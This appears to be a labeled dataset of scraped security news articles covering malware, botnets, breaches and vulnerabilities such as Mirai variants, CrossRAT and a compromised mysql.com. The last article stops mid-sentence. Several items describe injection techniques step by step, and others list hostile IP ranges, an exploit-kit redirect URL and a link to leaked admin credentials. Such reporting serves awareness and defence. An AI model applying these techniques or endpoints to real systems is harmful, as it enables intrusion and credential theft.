Malicious Mobile Charger can Hack your iPhone within a minute,https://thehackernews.com/2013/06/malicious-mobile-charger-can-hack-your.html,"You might want to be a little more careful the next time you pick up a cheap knock-off accessory for your device to save a few bucks because new hardware hacks could be the next big thing among cyber criminals.
Researchers say they've built a custom iPhone wall charger that can Install malware in any iOS device using a custom made malicious chargers called Mactans, which are in turn controlled by a Raspberry-Pi like computer called a BeagleBoard.

Mactans, which is named after the black widow spider's Latin taxonomy, will be demonstrated by Billy Lau, Yeongjin Jang, and Chengyu Song at the Black Hat 2013 conference in July and they said all users were vulnerable to attacks over the charger.

They add that they can also demonstrate that the malware infection resulting from their malicious charger is persistent and tough to spot. In order for the malicious software to remain installed and unseen, the trio will show how an attacker can hide their software in the same way Apple hides its own built-in applications.

Researchers wanted to show just how easy and cheap it can be to cause a lot of virtual destruction in an innocent package. The security researchers have disclosed the vulnerability to Apple, but presumably Apple hasn't fixed the hole yet as the researchers are refusing to give out exact details until the conference.

It doesn't even matter what version of Apple iOS an iPhone or iPad the user is running, the hack doesn't discriminate again any Apple platform.

",Malware
China — OPM Hack was not State-Sponsored; Blames Chinese Criminal Gangs,https://thehackernews.com/2015/12/china-hacker-opm-breach.html,"In the most surprising manner, the Chinese government said it arrested criminal hackers behind the massive cyber attack on US Office of Personnel Management (OPM) earlier this year, dismissing its involvement.

Three months back, we reported that China arrested a handful of hackers within its borders who were suspected of allegedly stealing commercial secrets from US companies.

The arrests took place shortly before China President Xi Jinping visited the United States in September 2015 when both heads of states agreed that neither side will participate in commercial espionage against one another.

China: Cyber Criminals Hacked OPM, Not Government Spies

Now, those suspected hackers have turned out to be the ones in connection with the OPM hack that resulted in the theft of personal details of more than 21 Million United States federal employees, including 5.6 Million federal employees' fingerprints.

Citing an ""investigation"", the Chinese government said the OPM hack was actual ""a criminal case"" rather than a state-sponsored attack as the US government had suspected, Chinese media outlet Xinhua News Agency reported.

Related Stories:

5.6 Million Federal Employees' Fingerprints Stolen in OPM Breach
China arrested Hackers at U.S. Government Request
Some unknown US federal officials had previously blamed China for the attack, though, they did not publicly point their fingers at the Chinese government.

No further details regarding the investigation were provided yet or whether the United States or Chinese government had conducted the investigation.

However, US government has urged for more detailed information sharing, though, White House spokesperson told Reuters that the first U.S.-Chinese dialogue was ""an important step"" in addressing US concerns about Chinese cyber-espionage.

So, now let's just wait till June, when both the countries would meet again for the second cyber security ministerial talk in Beijing.



",Data_Breaches
Critical Persistent Injection Vulnerability in Apple App Store and iTunes,https://thehackernews.com/2015/07/vulnerability-apple-store.html,"A critical vulnerability has been discovered in the official Apple's App Store and iTunes Store, affecting millions of Apple users.

Vulnerability-Lab Founder and security researcher Benjamin Kunz Mejri discovered an Application-Side input validation web vulnerability that actually resides in the Apple App Store invoice module and is remotely exploitable by both sender as well as the receiver.

The vulnerability, estimated as high in severity, has been reported to Apple Security team on June 9, 2015 and the company patched the issue within a month.

How the vulnerability works?

By exploiting the flaw, a remote hacker can manipulate the name value (device cell name) by replacing it with a malicious script code.

Now, if the attacker buys any product in the App Store or iTunes Store, the internal app store service takes the device value (which is actually the malicious code) and generates the invoice which is then sends to the seller account.

This results in an Application-side script code execution in the invoice of Apple.

In addition, remote hackers can manipulate the vulnerability through persistent manipulated context to other Apple store user accounts.
""The invoice is present to both parties (buyer & seller) which demonstrates a significant risk to buyers, sellers or apple website managers/developers,"" says the researcher. ""The issue impact also the risk that a buyer can be the seller by usage of the same name to compromise the store online service integrity.""
Successful exploitation of the bug could allow an attacker to perform a number of sensitive tasks, including
Session hijacking
Persistent redirect to external sources
Persistent phishing attacks
Persistent manipulation of affected service module context

Proof-of-Concept

Exploitation of the vulnerability requires a low privileged Apple web-application user (App Store/iCloud) account and low or medium user interaction.

The researcher published step by step method to exploit the flaw:
Inject the malicious script code to your device cell name
Buy an article by using Apple iTunes or App Store
Select any App or Movie that you would like to Buy and Download
After the download is completed, an Invoice receives to your inbox
An application-side injected script code execution occurs in the arrived emails context next to the device-cell and type cell value parameters
Successful reproduce of the remote vulnerability

You can also watch the video that shows the attack in work.

",Vulnerability
Crashing Google Email App for Android Just By Sending a Malicious Email,https://thehackernews.com/2015/02/stock-android-email-app.html,"A vulnerability has been discovered in the wildly popular Google's Stock Android Email App, that could be exploited by malicious attackers to remotely crash your smartphone application just by sending a specially crafted email.

A Spain security researcher, Hector Marco, successfully exploited the vulnerability on his Samsung Galaxy S4 Mini running version 4.2.2.0200 of Stock Android Email App. He said the flaw appears to affect all older versions of Stock Android Email App, though devices running 4.2.2.0400 and newer versions are not affected.

According to the researcher, when the victim receives the malicious email and tries to view it, the email app crashes. Further attempts to open the email again triggers a crash in the application before the victim can do anything.

The flaw (CVE-2015-1574) is due to incorrect handling of the Content-Disposition header. Hackers could exploit the vulnerability by sending an email with a malformed Content-Disposition header to the targeted user in order to cause email application crash.

The only way to get rid of this crash issue is to remove the malicious email from the Stock Android Email App.
""Since the application crashes immediately, [and the] easiest and straightforward way to remove [the issue] is by using other email client (or via web) from the inbox at the email server,"" Marco explained in a blog post. ""Another way is by disabling the internet connection (Airplane mode) before launching the email reader, and then you can remove the offending email.""
However, removing the malicious email from the app's inbox is only a temporary solution because the attackers can send as many malicious email as they want, Marco noted.

For proof-of-concept (PoC) demonstration, Marco publishes a python exploit code on Tuesday, and explained how sending a specially crafted email to a targeted user can crash victim's email application.

So far, there are no reports that Marco's exploit also works on iOS or other platform users. But the vulnerability affects a majority of Android smartphone users as the version of Stock Email App from Google comes pre-installed on the official versions of Android.

It isn't clear whether the vulnerability has been reported to Google. Users can upgrade their email Android application to 4.2.2.0400 or higher in order to protect themselves, but only those users who have option to upgrade.

Unfortunately the upgradation is not possible in all Android versions. Marco said his current Samsung Galaxy 4 mini was fully updated and is vulnerable to this attack, because no higher versions to 4.2.2.0200 are available for his device.

",Vulnerability
New Mirai Okiru Botnet targets devices running widely-used ARC Processors,https://thehackernews.com/2018/01/mirai-okiru-arc-botnet.html,"The cybersecurity threat landscape has never been more extensive and is most likely to grow exponentially in 2018.

Although the original creators of Mirai DDoS botnet have already been arrested and jailed, the variants of the infamous IoT malware are still in the game due to the availability of its source code on the Internet.

Security researchers have spotted a new variant of infamous Mirai IoT malware designed to hijack insecure devices that run on ARC embedded processors.

Until now, Mirai and its variants have been targeting CPU architectures—including x86, ARM, Sparc, MIPS, PowerPC and Motorola 6800—deployed in millions of Internet of Things (IoT) devices.

Dubbed Okiru, the new Mirai variant, first spotted by @unixfreaxjp from MalwareMustDie team and notified by independent researcher Odisseus, is a new piece of ELF malware that targets ARC-based embedded devices running Linux operating system.
""This is the FIRST TIME ever in the history of computer engineering that there is a malware for ARC CPU, & it is #MIRAI OKIRU!! Pls be noted of this fact, & be ready for the bigger impact on infection Mirai (specially #Okiru) to devices hasn't been infected yet,"" Odisseus tweeted.
ARC (Argonaut RISC Core) embedded processor is the world's second-most-popular CPU core that's being shipped in more than 2 billion products every year, including cameras, mobile, utility meters, televisions, flash drives, automotive and the Internet of Things.

However, this isn't first Mirai botnet variant based on Linux ELF malware. Mirai also has another ELF-based variant, which was designed to target devices running MIPS and ARM processors.

It should also be noted that Okiru, which has previously been also named as Satori IoT botnet (another Mirai variant discovered late last year), is ""very different"" from Satori despite having several similar characteristics, as explained in a Reddit thread.

Record-Breaking DDoS? The Calm Before The Storm

IoTs are currently being deployed in a large variety of devices throughout your home, businesses, hospitals, and even cities (smart cities), but they're routinely being hacked and used as cyber weapons due to lack of stringent security measures and insecure encryption mechanisms.

If you are unaware, the world's largest 1 Tbps DDoS attack so far was launched from just 152,000 infected IoT devices using Mirai botnet, and in a separate attack, just 100,000 devices took down the popular DynDNS service in late 2016.

Since Okiru has been ported to target a new range of millions of ""expectedly insecure"" devices running ARC processors, the DDoS attack going to be generated by Okiru botnet would probably be the biggest cyberattack ever.
""From this day, the landscape of #Linux #IoT infection will change. #ARC CPU has produced #IoT devices more than 1 billion per year. So these devices are what the hackers want to aim to infect #ELF #malware with their #DDoS cannons. It's a serious threat will be,"" Odisseus tweeted.
The fresh arrival of ARC-based IoT devices into botnet scheme will exponentially raise the number of insecure devices to an unprecedented size, making it easy for hackers to gain control over a large number of poorly configured and vulnerable IoT devices.

",Cyber_Attack
Pre-Play Vulnerability Allows Chip-and-PIN Payment Card Cloning,https://thehackernews.com/2014/05/pre-play-vulnerability-allows-chip-and.html,"In March this year, we reported that the major card distributor companies, VISA and Mastercard are migrating to EMV chip cards, also known as PIN-and-Chip cards. Unlike traditional magnetic stripe payment cards, EMV chip cards generates a unique code for every transaction, making it nearly* impossible for criminals to use the card for counterfeit fraud.

But Nothing is perfectly secure, even not the PIN-and-Chip based payment cards. All anti-cloning theories were already proven wrong, when a group of researchers found a way to hack the Credit and Debit cards based on the latest Chip-and-Pin technology.

Back in 2012, we reported about a research paper entitled ""Chip and Skim: cloning EMV cards with the pre-play attack"" published (old paper) by team of researchers from the University of Cambridge, UK, who demonstrated that Chip and PIN payment card systems are also vulnerable to Card Cloning.

The same team of researchers presented their EVM related research last Monday at the 2014 IEEE Symposium on Security and Privacy in San Jose, California. But this time they include one more critical vulnerability to the research paper (new modified research paper).

The Group includes Mike Bond, Omar Choudary, Steven J. Murdoch, Sergei Skorobogatov and Ross Anderson from the Computer Science Department. In Total, they presented two critical vulnerabilities in the ""Chip-and-PIN"" smart card payment system that makes EVM vulnerable to ""pre-play"" attack.

PREDICTING SO-CALLED 'UNPREDICTABLE NUMBERS'
EMV devices generate the so-called ""unpredictable numbers"" (UNs) for every transaction, but the researchers claimed that automated teller machines (ATMs) and point-of-sale (POS) terminals fail to properly generate random numbers that are required by the EMV protocol to securely authenticate transaction requests.

Researchers claimed to have found the computation patterns that would allow them to predict the randomly generated numbers. 'EMV implementers have merely used counters, timestamps or home-grown algorithms to supply this nonce.'

The vulnerability could be exploited by the cybercriminals to clone the credit and debit cards in such a manner that even bank procedures won't differentiate between the legitimate and fraud transactions.
NO PIN REQUIRED
They also demonstrated the Proof-of-Concept of another critical vulnerability, known as 'no PIN', which lets criminals use stolen chip and PIN cards without knowing the PIN.

Using a Malware or by performing a man-in-the-middle attack on the communications between a pin terminal and a customer's card allows the hacker to read off sufficient information to create a cloned card.
""The flaw is that when you put a card into a terminal, a negotiation takes place about how the cardholder should be authenticated: using a PIN, using a signature or not at all. This particular subprotocol is not authenticated, so you can trick the card into thinking it's doing a chip-and-signature transaction while the terminal thinks it's chip-and-PIN. The upshot is that you can buy stuff using a stolen card and a PIN of 0000 (or anything you want). We did so, on camera, using various journalists' cards. The transactions went through fine and the receipts say 'Verified by PIN'."" the researcher explained.
CRIMINALS ALREADY USING THIS EXPLOIT
The worst fact about the vulnerability is that, the trick is already known to cyber criminals and fraudsters from past many months and currently they are even equipped with crime-ware hardwares those allow them to clone Chin-and-PIN based cards easily.
The Chip-and-PIN system has a 700-odd page manual, but the researchers says it has so many security holes in it, the whole thing should be re-written.

The adoption of EVM payment system is in the response to the massive data breach in one of the U.S largest retailers 'Target', marked the largest card heists in the U.S. history in which financial credentials of more than 110 million customers were compromised.

The data heist in various US retailers have forced them to take some major steps towards more secure transactions and they move on to the new Chip-and-Pin technology. However, Chip-and-Pin payment system is considered to be a safer than the ""card swipe"" payment system, but that doesn't mean it is fully protected. Cyber Criminals are just behind you every time to fetch your money, so be alert.

",Vulnerability
"Zemra Botnet Leaked, Cyber Criminals performing DDoS Attacks",https://thehackernews.com/2012/06/zemra-botnet-leaked-cyber-criminals.html,"Zemra Botnet Leaked, Cyber Criminals performing DDoS Attacks

The Zemra DDoS Bot is currently sold in various forums for about 100 € and detected by Symantec as Backdoor.Zemra. Zemra first appeared on underground forums in May 2012.

This crimeware pack is similar to other crime packs, such as Zeus and SpyEye, in that is has a command-and-control panel hosted on a remote server.

Zemra uses a simple panel with an overview of all statistics is needed.With the help of two graphs can be seen operating machinery and the region location.In addition, statistics on online and for more information. You have a chance to see everything online Socks5 and export them to the list.Traffic is encrypted and protected using the algorithm AES, each client communicates with a unique generated key.

Note : In ""Tools Yard"" we have Posted Zemra Source Code, Only for Educational Purpose.

A brief functional:
• Intuitive control panel
• DDos (HTTP / SYN Flood / UDP)
• Loader (Load and run).
• Cheat visits (visits to the page views).
• USB Spread (spread through flash drives)
• Socks5 (picks up socks proxy on the infected machine)
• Update (Updates the bot)
• [color = red] The process can not be completed because the He is critical.
• 256 Bit AES encryption of traffic from the bot to the server
• Anti-Debugger
• There is a choice of a particular country bots perform the job


After inspecting the source code, symantec identifies that two types of DDoS attacks that have been implemented into this bot: HTTP flood and SYN flood.

""To reduce the possibility of being infected by this Trojan, Symantec advises users to ensure that they are using the latest Symantec protection technologies with the latest antivirus definitions installed."" Symantec suggest in a blog post.

",Vulnerability
"FAQ : DNSChanger Trojan, Impact and Solutions",https://thehackernews.com/2012/02/faq-dnschanger-trojan-impact-and.html,"FAQ : DNSChanger Trojan, Impact and Solutions


Two days before we (THN) Reported that FBI will shutdown Internet on 8th March, Title seems to be more Attention seeking , Why ? Well ! Our job is to aware you about the Internet Security. If we are looking for some extra attention from our Readers then its part of our small effort to make Internet more secure space for all.

Today we are going to Explain all about DNSChanger Trojan, its Impact on Internet users and the biggest challenge for FBI to resolve it, and How a non technical user can check and Restore its computer, Hope you will share this article with your Friends, Followers and On your Site to aware them about this Serial Internet Killer.

What is DNS (Domain Name System) ? is an Internet service that converts user-friendly domain names into the numerical Internet protocol (IP) addresses that computers use to talk to each other. When you enter a domain name, such as www.thehackernews.com, in your web browser address bar, your computer contacts DNS servers to determine the IP address for the website. Your computer then uses this IP address to locate and connect to the website. DNS servers are operated by your Internet service provider (ISP) and are included in your computer's network configuration. DNS and DNS Servers are a critical component of your computer's operating environment without them, you would not be able to access websites, send e-mail, or use any other Internet services.

What is DNSChanger ? a small file about 1.5 kilobytes , DNSChanger is a trojan that will change the infected system's Domain Name Server (DNS) settings, in order to divert traffic to unsolicited, and potentially illegal sites. This Trojan is designed to change the 'NameServer' Registry key value to a custom IP address. This IP address is usually encrypted in the body of a trojan.

When ? The DNSChanger malware was first discovered around 2007, and since this time has infected millions of computers, around 500,000 of them being in the U.S., and through these computers the criminals have reportedly pulled in around $14 million in stolen funds. The FBI has uncovered a network of rogue DNS servers and has taken steps to disable it.The FBI is also undertaking an effort to identify and notify victims who have been impacted by the DNSChanger malware.

Who are infected and Technical Info ? Both Windows and MacOS users are at risk for this infection because it exploits your browser, not your operating system.Here are some known hostile IP address pairs used by the DNS Changer malware:

64.28.176.1 -  64.28.191.254
67.210.0.1 -  67.210.15.254
77.67.83.1 - 77.67.83.254
85.255.112.1 -  85.255.127.254
93.188.160.1 -  93.188.167.254
213.109.64.1 -  213.109.79.254

Why its not easy Remove this Trojan ? One consequence of disabling the rogue DNS network is that victims who rely on the rogue DNS network for DNS service could lose access to DNS services, So This Process will start on March 8 by FBI.

Why 8th March 2012 ? After the take down of the DNSChange Botnet, in November 2011, the FBI obtained a court order allowing the FBI to set up a temporary DNSChanger Command & Control network. The court order expires on March 8th, 2012. Unless the FBI obtains a new court order allowing them to continue operating the temporary network, the network will be turned off. Resulting in millions of computers, world-wide, no longer being able to access the Internet.

How to check manually that your System is Infected or Not ? The best way to determine if your computer has been affected by DNSChanger is to have them evaluated by a computer professional.

Avira cooperated also with the German Federal Office for Information Security (BSI) and published the tool also on the special website created to check if the DNS requests are made to the right places: www.DNS-OK.de. Besides the website, users can also OK DNS, the DNS-repair tool from the Avira website to download here.

After 8th March all computer will be Secured ? According to FBI, It is quite possible that computers infected with this malware may also be infected with other malware. The establishment of these clean DNS servers does not guarantee that the computers are safe from other malware. The main intent is to ensure users do not lose DNS service.

",Malware
Parliament Of Botswana hacked by V0iD,https://thehackernews.com/2011/07/0day-unrealircd-32x-all-versions-remote.html,"Parliament Of Botswana hacked by V0iD
V0iD hacker again strike with Parliament Of Botswana https://www.parliament.gov.bw/ . Hacker Releases the database table information and Admin users login details at https://pastebin.com/Ts21HhEz .


",Vulnerability
Mukashi: A New Mirai IoT Botnet Variant Targeting Zyxel NAS Devices,https://thehackernews.com/2020/03/zyxel-mukashi-mirai-iot-botnet.html,"A new version of the infamous Mirai botnet is exploiting a recently uncovered critical vulnerability in network-attached storage (NAS) devices in an attempt to remotely infect and control vulnerable machines.

Called ""Mukashi,"" the new variant of the malware employs brute-force attacks using different combinations of default credentials to log into Zyxel NAS, UTM, ATP, and VPN firewall products to take control of the devices and add them to a network of infected bots that can be used to carry out Distributed Denial of Service (DDoS) attacks.

Multiple Zyxel NAS products running firmware versions up to 5.21 are vulnerable to the compromise, Palo Alto Networks' Unit 42 global threat intelligence team said, adding they uncovered the first such exploitation of the flaw in the wild on March 12.

Zyxel's Pre-Authentication Command Injection Flaw

Mukashi hinges on a pre-authentication command injection vulnerability (tracked as CVE-2020-9054), for which a proof-of-concept was only made publicly available last month. The flaw resides in a ""weblogin.cgi"" program used by the Zyxel devices, thereby potentially allowing attackers to perform remote code execution via command injection.

""The executable weblogin.cgi doesn't properly sanitize the username parameter during authentication. The attacker can use a single quote (') to close the string and a semicolon (;) to concat arbitrary commands to achieve command injection,"" according to Unit 42 researchers. ""Since weblogin.cgi accepts both HTTP GET and POST requests, the attacker can embed the malicious payload in one of these HTTP requests and gain code execution.""


Zyxel issued a patch for the vulnerability last month after it emerged that precise instructions for exploiting the flaw were being sold in underground cybercrime forums for $20,000 for use against targets. But the update doesn't address the flaw on many older unsupported devices.

As a workaround, the Taiwan-based networking equipment maker has urged users of those affected models to not leave the products directly exposed to the Internet, and connect them to a security router or firewall for additional protection.

Mukashi Targets Zyxel NAS Devices

Just like other Mirai variants, Mukashi operates by scanning the Internet for vulnerable IoT devices like routers, NAS devices, security cameras, and digital video recorders (DVRs), looking for potential hosts that are protected only by factory-default credentials or commonly-used passwords to co-opt them into the botnet.

If a brute-force login turns out to be successful, Mukashi not only reports the login attempt to a remote attacker-controlled command-and-control (C2) server but also awaits further commands to launch DDoS attacks.


""When it's executed, Mukashi prints the message 'Protecting your device from further infections.' to the console,"" Unit42 researchers said. ""The malware then proceeds to change its process name to dvrhelper, suggesting Mukashi may inherit certain traits from its predecessor.""

Mirai's History of DDoS attacks

The Mirai botnet, since its discovery in 2016, has been linked to a string of large-scale DDoS attacks, including one against DNS service provider Dyn in October 2016, causing major internet platforms and services to remain inaccessible to users in Europe and North America.

Since then, numerous variants of Mirai have sprung up, in part due to the availability of its source code on the Internet since 2016.

It's recommended that all Zyxel consumers download the firmware update to protect devices from Mukashi hijacks. Updating default credentials with complex login passwords can also go a long way towards preventing such brute-force attacks.

The full list of Zyxel products affected by the flaw is available here. You can also test if a Zyxel NAS device is vulnerable here.

",Vulnerability
New Banking Malware with Network Sniffer Spreading Rapidly Worldwide,https://thehackernews.com/2014/06/new-banking-malware-with-network.html,"The hike in the banking malware this year is no doubt almost double compared to the previous one, and so in the techniques of malware authors.

Until now, we have seen banking Trojans affecting devices and steal users' financial credentials in order to run them out of their money. But nowadays, malware authors are adopting more sophisticated techniques in an effort to target as many victims as possible.

BANKING MALWARE WITH NETWORK SNIFFING
Security researchers from the Anti-virus firm Trend Micro have discovered a new variant of banking malware that not only steals users' information from the device it has infected but, has ability to ""sniff"" network activity in an effort to compromise the devices of same network users as well.

The banking malware, dubbed as EMOTET spreads rapidly through spammed emails that masquerade itself as a bank transfers and shipping invoices. The spammed email comes along with an attached link that users easily click, considering that the emails refer to their bank or financial transactions.

Once clicked, the malware get installed into users' system that further downloads its component files, including a configuration and .DLL file. The configuration files contains information about the banks targeted by the malware, whereas the .DLL file is responsible for intercepting and logging outgoing network traffic.

The .DLL file is injected to all processes of the system, including web browser and then ""this malicious DLL compares the accessed site with the strings contained in the previously downloaded configuration file, wrote Joie Salvio, security researcher at Trend Micro. ""If strings match, the malware assembles the information by getting the URL accessed and the data sent.""

ENCRYPTED STOLEN DATA
Meanwhile, the malware stores stolen data in the separate entries after been encrypted, which means the malware can steal and save any information the attacker wants.
""The decision to storing files and data in registry entries could be seen as a method of evasion"", Salvio said. ""Regular users often do not check registry entries for possibly malicious or suspicious activity, compared to checking for new or unusual files. It can also serve as a countermeasure against file-based AV detection for that same reason.""
HTTPS CONNECTIONS KICKED
Moreover, the malware has ability to even bypass the secure HTTPs connection which poses more danger to users' personal information and banking credentials, as users will feel free to continue their online banking without even realizing that their information is being stolen.
""[It has] capability to hook to the following Network APIs to monitor network traffic: PR_OpenTcpSocket PR_Write PR_Close PR_GetNameForIndentity Closesocket Connect Send WsaSend""

This kind of financial threat is really dangerous for the people, because previous banking malwares often rely on form field insertion or phishing pages to steal users' financial information, but the use of network sniffing in the malware, makes the threat even more harder for users to detect any suspicious activity as no changes are visibly seen, said the researcher.

Researchers are still investigating that how the malware sends the gathered data sniffed from the network to the attacker.

MALWARE DISTRIBUTION OVER WORLD MAP
The malware infection is not targeted to any specific region or country but, EMOTET malware family is largely infecting the users of EMEA region, i.e. Europe, the Middle East and Africa, with Germany on the top of the affected countries.

Users are advised to do not open or click on links and attachments provided in any suspicious email, but if the message is from your banking institution and of concern to you, then confirm it twice before proceeding.

",Malware
Critical vulnerability in Twitter allows attacker to upload Unrestricted Files,https://thehackernews.com/2013/10/critical-vulnerability-in-twitter.html,"Security expert Ebrahim Hegazy, Cyber Security Analyst Consultant at Q-CERT, has found a serious vulnerability in Twitter that allows an attacker to upload files of any extension including PHP.

When an application does not validate or improperly validates file types before uploading files to the system, called Unrestricted File upload vulnerability. Such flaws allow an attacker to upload and execute arbitrary code on the target system which could result in execution of arbitrary HTML and script code or system compromise.
According to Ebrahim, when a developer creates a new application for Twitter i.e. dev.twitter.com - they have an option to upload an image for that application.

While uploading the image, the Twitter server will check for the uploaded files to accept certain image extensions only, like PNG, JPG and other extensions won't get uploaded.

But in a Video Proof of Concept he demonstrated that, a vulnerability allowed him to bypass this security validation and an attacker can successfully upload .htaccess and .PHP files to twimg.com server.


Twimg.com is working as a CDN (content delivery network) which mean that every time attacker will upload a file, it will be hosted on a different server or subdomain of twimg.com.

In CDN's usually scripting engines are not allowed to run. So, in normal scenarios a successful Exploitation of uploading htaccess & PHP files to a server that supports the PHP i.e. Remote Code Execution on that server.


But in the case of Twitter:
Vulnerability could be used to make twimg.com as a Botnet Command server by hosting a text file with commands, so infected machines would connect to that file to take its commands. Since twimg.com is a trusted domain by users so it won't grab the attention.
For hosting of malicious files.
At least it could be used to upload a text page with a defacement content and then add the infected sub-domains of twimg.com as a mirror to Zone-h.org which would affect the reputation of Twitter.
Twitter recognized the criticality of the Unrestricted File Upload Vulnerability and added Hegazy name to their Hall of Fame. I personally reached Ebrahim Hegazy that revealed me that he has also found an Open redirection Vulnerability in Twitter on 15th Sept. that has also been fixed.

I conclude with a personal consideration, it's shame Twitter hasn't a bounty program, in my opinion is fundamental to incentive hackers to ethical disclosure of the bug. An attack against a social media could have serious repercussion on the users and on the reputation of the platform, if hackers sell the knowledge of the flaw on the black market a growing number of cyber criminals could benefit from it.

",Vulnerability
"Beware! Undetectable CrossRAT malware targets Windows, MacOS, and Linux systems",https://thehackernews.com/2018/01/crossrat-malware.html,"Are you using Linux or Mac OS? If you think your system is not prone to viruses, then you should read this.

Wide-range of cybercriminals are now using a new piece of 'undetectable' spying malware that targets Windows, macOS, Solaris and Linux systems.

Just last week we published a detailed article on the report from EFF/Lookout that revealed a new advanced persistent threat (APT) group, called Dark Caracal, engaged in global mobile espionage campaigns.

Although the report revealed about the group's successful large-scale hacking operations against mobile phones rather than computers, it also shed light on a new piece of cross-platform malware called CrossRAT (version 0.1), which is believed to be developed by, or for, the Dark Caracal group.

CrossRAT is a cross-platform remote access Trojan that can target all four popular desktop operating systems, Windows, Solaris, Linux, and macOS, enabling remote attackers to manipulate the file system, take screenshots, run arbitrary executables, and gain persistence on the infected systems.

According to researchers, Dark Caracal hackers do not rely on any ""zero-day exploits"" to distribute its malware; instead, it uses basic social engineering via posts on Facebook groups and WhatsApp messages, encouraging users to visit hackers-controlled fake websites and download malicious applications.

CrossRAT is written in Java programming language, making it easy for reverse engineers and researchers to decompile it.

Since at the time of writing only two out of 58 popular antivirus solutions (according to VirusTotal) can detect CrossRAT, ex-NSA hacker Patrick Wardle decided to analyse the malware and provide a comprehensive technical overview including its persistence mechanism, command and control communication as well as its capabilities.

CrossRAT 0.1 — Cross-Platform Persistent Surveillance Malware

Once executed on the targeted system, the implant (hmar6.jar) first checks the operating system it's running on and then installs itself accordingly.

Besides this, the CrossRAT implant also attempts to gather information about the infected system, including the installed OS version, kernel build and architecture.

Moreover, for Linux systems, the malware also attempts to query systemd files to determine its distribution, like Arch Linux, Centos, Debian, Kali Linux, Fedora, and Linux Mint, among many more.

CrossRAT then implements OS specific persistence mechanisms to automatically (re)executes whenever the infected system is rebooted and register itself to the C&C server, allowing remote attackers to send command and exfiltrate data.

As reported by Lookout researchers, CrossRAT variant distributed by Dark Caracal hacking group connects to 'flexberry(dot)com' on port 2223, whose information is hardcoded in the 'crossrat/k.class' file.

CrossRAT Includes Inactive Keylogger Module
The malware has been designed with some basic surveillance capabilities, which get triggered only when received respective predefined commands from the C&C server.

Interestingly, Patrick noticed that the CrossRAT has also been programmed to use 'jnativehook,' an open-source Java library to listen to keyboard and mouse events, but the malware does not have any predefined command to activate this keylogger.
""However, I didn't see any code within that implant that referenced the jnativehook package—so at this point it appears that this functionality is not leveraged? There may be a good explanation for this. As noted in the report, the malware identifies it's version as 0.1, perhaps indicating it's still a work in progress and thus not feature complete,"" Patrick said.

How to Check If You're Infected with CrossRAT?

Since CrossRAT persists in an OS-specific manner, detecting the malware will depend on what operating system you are running.

For Windows:
Check the 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\' registry key.
If infected it will contain a command that includes, java, -jar and mediamgrs.jar.
For macOS:
Check for jar file, mediamgrs.jar, in ~/Library.
Also look for launch agent in /Library/LaunchAgents or ~/Library/LaunchAgents named mediamgrs.plist.
For Linux:
Check for jar file, mediamgrs.jar, in /usr/var.
Also look for an 'autostart' file in the ~/.config/autostart likely named mediamgrs.desktop.

How to Protect Against CrossRAT Trojan?
Only 2 out of 58 antivirus products detect CrossRAT at the time of writing, which means that your AV would hardly protect you from this threat.
""As CrossRAT is written in Java, it requires Java to be installed. Luckily recent versions of macOS do not ship with Java,"" Patrick said.
""Thus, most macOS users should be safe! Of course, if a Mac user already has Java installed, or the attacker is able to coerce a naive user to install Java first, CrossRAT will run just dandy, even on the latest version of macOS (High Sierra).""
Users are advised to install behaviour-based threat detection software. Mac users can use BlockBlock, a simple utility developed by Patrick that alerts users whenever anything is persistently installed.

",Cyber_Attack
"Mysql.com hacked, serving BlackHole exploit malware",https://thehackernews.com/2011/09/mysqlcom-hacked-serving-blackhole.html,"Mysql.com hacked, serving BlackHole exploit malware

MySQL.com website is currently hacked and compromised with a JavaScript malware (and serving malware to anyone visiting it). The mysql.com website is injected with a script that generates an iFrame that redirects the visitors to https://truruhfhqnviaosdpruejeslsuy.cx.cc/main.php, where the BlackHole exploit pack is hosted.

""It exploits the visitor's browsing platform (the browser, the browser plugins like Adobe Flash, Adobe PDF, etc, Java, ...), and upon successful exploitation, permanently installs a piece of malware into the visitor's machine, without the visitor's knowledge,"" say the researchers. ""The visitor doesn't need to click or agree to anything; simply visiting mysql.com with a vulnerable browsing platform will result in an infection.""

It is, of course, impossible to say who the attackers are. The domain reached through the iFrame is registered to one Christopher J Klein from Miami and is located in Berlin, Germany. The domain serving the exploit and the malware is located in Stockholm, Sweden.The administrators of the mysql.com domain are being contacted, but the site is still up and compromised, say the researchers.
[Source]

",Malware
Apple Strongly Denies Claims of Installing iOS Backdoor,https://thehackernews.com/2014/07/apple-strongly-denies-claims-of_22.html,"The allegations from a data forensic expert and security researcher that iOS contains a ""backdoor"" permitting third parties to potentially gain access to large amount of users' personal data instigated Apple to give a strong response.

The company has completely denied to the claims published over the weekend by Jonathan Zdziarski, a forensic scientist and iOS security expert.

The researcher, better identified as the hacker moniker ""NerveGas"", detailed a number of undocumented features in a paper presentation titled, ""Identifying Backdoors, Attack Points, and Surveillance Mechanisms in iOS Devices"" showing his findings, from his talk at the Hackers On Planet Earth (HOPE X) conference held in New York on Friday.

ALLEGATIONS ON APPLE
The issue, what he explained in his finding, arises from the way Apple encrypts or fails to encrypt data from the iPhone's native apps, leaving over 600 million personal iOS devices vulnerable to third parties.
""Once the device is first unlocked after reboot, most of the data-protection encrypted data can be accessed until the device is shut down,"" Zdziarski wrote in his presentation. ""Your device is almost always at risk of spilling all data, since it's almost always authenticated, even while locked.""
The researcher claimed to have found several undocumented features within iOS that could be used to access users' information, including photos, address-book information, voicemail messages, and more.

The personal information stored on your phone is at great risk, which includes a full copy of the user's address book including deleted entries, stored photos, the voicemail database and audio files, any account data configured on the device such as iCloud, email, Facebook, Twitter, and other services, the user cache of screenshots, keystrokes and the device's clipboard, as well as location information.

APPLE RESPONDED STRONGLY
In response, Apple has released a statement to Tim Bradshaw, a tech reporter at the Financial Times, denying those allegations and wrote:
""We have designed iOS so that its diagnostic functions do not compromise user privacy and security, but still provides needed information to enterprise IT departments, developers and Apple for troubleshooting technical issues. A user must have unlocked their device and agreed to trust another computer before that computer is able to access this limited diagnostic data. The user must agree to share this information, and data is never transferred without their consent.""
Apple also says in its statement that as it has said before, it ""has never worked with any government agency from any country to create a backdoor in any of our products or services.""

APPLE PUBLISHED SUPPORT PAGE
Apple has described several diagnostic capabilities offered in iOS in response to the backdoor access claims. The company has published a support document on its website outlining the three iOS diagnostic capabilities pointed out by the researcher. They are as follows:

com.apple.mobile.pcapd
pcapd supports diagnostic packet capture from an iOS device to a trusted computer. This is useful for troubleshooting and diagnosing issues with apps on the device as well as enterprise VPN connections. You can find more information at developer.apple.com/library/ios/qa/qa1176.

com.apple.mobile.file_relay
